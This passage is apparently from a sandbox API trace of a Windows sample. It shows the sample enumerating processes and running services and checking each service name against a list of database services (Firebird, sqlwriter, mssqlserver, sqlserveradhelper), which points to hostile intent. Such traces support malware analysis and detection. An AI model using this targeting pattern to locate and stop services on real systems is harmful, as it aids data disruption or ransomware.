cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0161.471] CloseHandle (hObject=0x3a0) returned 1 [0161.471] Sleep (dwMilliseconds=0x1f4) [0162.306] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45439b0 [0162.307] EnumServicesStatusExW (in: hSCManager=0x45439b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0162.307] GetLastError () returned 0xea [0162.307] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x462d2d0 [0162.307] EnumServicesStatusExW (in: hSCManager=0x45439b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x462d2d0, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x462d2d0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0162.308] CloseServiceHandle (hSCObject=0x45439b0) returned 1 [0162.308] lstrlenW (lpString="AppXSvc") returned 7 [0162.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0162.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0162.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0162.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0162.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0162.309] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.309] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.309] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.309] lstrlenW (lpString="Audiosrv") returned 8 [0162.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0162.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0162.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0162.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0162.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0162.309] lstrlenW (lpString="BFE") returned 3 [0162.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.309] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.309] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.309] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0162.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.309] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0162.309] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0162.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0162.309] lstrlenW (lpString="CDPSvc") returned 6 [0162.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0162.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0162.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0162.310] lstrlenW (lpString="ClickToRunSvc") returned 13 [0162.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0162.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0162.310] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0162.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0162.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0162.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0162.310] lstrlenW (lpString="CryptSvc") returned 8 [0162.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.310] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.310] lstrlenW (lpString="DcomLaunch") returned 10 [0162.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.311] lstrlenW (lpString="DeviceAssociationService") returned 24 [0162.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0162.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0162.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0162.311] lstrlenW (lpString="Dhcp") returned 4 [0162.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.311] lstrlenW (lpString="Dnscache") returned 8 [0162.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.311] lstrlenW (lpString="DPS") returned 3 [0162.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.312] lstrlenW (lpString="DsmSvc") returned 6 [0162.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0162.312] lstrlenW (lpString="DusmSvc") returned 7 [0162.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0162.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0162.312] lstrlenW (lpString="EventLog") returned 8 [0162.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0162.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0162.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0162.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0162.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0162.312] lstrlenW (lpString="EventSystem") returned 11 [0162.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.313] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.313] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.313] lstrlenW (lpString="FontCache") returned 9 [0162.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0162.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0162.313] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0162.313] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0162.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0162.313] lstrlenW (lpString="gpsvc") returned 5 [0162.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.313] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.313] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.313] lstrlenW (lpString="iphlpsvc") returned 8 [0162.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.313] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.313] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.313] lstrlenW (lpString="KeyIso") returned 6 [0162.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0162.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0162.313] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0162.314] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0162.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0162.314] lstrlenW (lpString="LanmanServer") returned 12 [0162.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.314] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.314] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.314] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.314] lstrlenW (lpString="lfsvc") returned 5 [0162.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0162.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0162.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0162.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0162.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0162.314] lstrlenW (lpString="lmhosts") returned 7 [0162.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.314] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.314] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.315] lstrlenW (lpString="LSM") returned 3 [0162.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0162.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0162.315] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0162.315] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0162.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0162.315] lstrlenW (lpString="MpsSvc") returned 6 [0162.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.315] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.315] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.315] lstrlenW (lpString="NcbService") returned 10 [0162.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0162.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0162.315] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0162.315] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0162.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0162.315] lstrlenW (lpString="netprofm") returned 8 [0162.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.315] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.315] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.315] lstrlenW (lpString="NgcSvc") returned 6 [0162.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0162.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0162.315] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0162.315] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0162.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0162.316] lstrlenW (lpString="NlaSvc") returned 6 [0162.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.316] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.316] lstrlenW (lpString="nsi") returned 3 [0162.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.316] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.316] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.316] lstrlenW (lpString="PcaSvc") returned 6 [0162.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.316] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.316] lstrlenW (lpString="PlugPlay") returned 8 [0162.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.316] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.316] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.316] lstrlenW (lpString="Power") returned 5 [0162.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.316] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.316] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.317] lstrlenW (lpString="ProfSvc") returned 7 [0162.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0162.317] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0162.317] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0162.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0162.317] lstrlenW (lpString="RpcEptMapper") returned 12 [0162.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0162.317] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0162.317] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0162.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0162.317] lstrlenW (lpString="RpcSs") returned 5 [0162.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0162.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0162.317] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0162.317] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0162.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0162.317] lstrlenW (lpString="SamSs") returned 5 [0162.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0162.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0162.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0162.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0162.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0162.317] lstrlenW (lpString="Schedule") returned 8 [0162.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0162.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0162.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0162.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0162.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0162.318] lstrlenW (lpString="SecurityHealthService") returned 21 [0162.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0162.318] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0162.318] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0162.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0162.318] lstrlenW (lpString="SENS") returned 4 [0162.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0162.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0162.318] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0162.318] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0162.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0162.318] lstrlenW (lpString="ShellHWDetection") returned 16 [0162.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0162.318] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0162.318] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0162.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0162.318] lstrlenW (lpString="Spooler") returned 7 [0162.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0162.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0162.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0162.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0162.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0162.318] lstrlenW (lpString="StateRepository") returned 15 [0162.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0162.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0162.318] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0162.319] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0162.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0162.319] lstrlenW (lpString="SysMain") returned 7 [0162.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0162.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0162.319] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0162.319] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0162.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0162.319] lstrlenW (lpString="SystemEventsBroker") returned 18 [0162.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0162.319] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0162.319] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0162.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0162.319] lstrlenW (lpString="Themes") returned 6 [0162.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0162.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0162.319] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0162.319] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0162.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0162.319] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0162.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0162.319] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0162.319] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0162.319] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462d2d0 | out: hHeap=0x710000) returned 1 [0162.320] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0162.326] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0162.327] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0162.749] lstrlenW (lpString="System") returned 6 [0162.749] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0162.750] lstrlenW (lpString="smss.exe") returned 8 [0162.750] Process32NextW (in: hSnapshot=0x3f8, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, 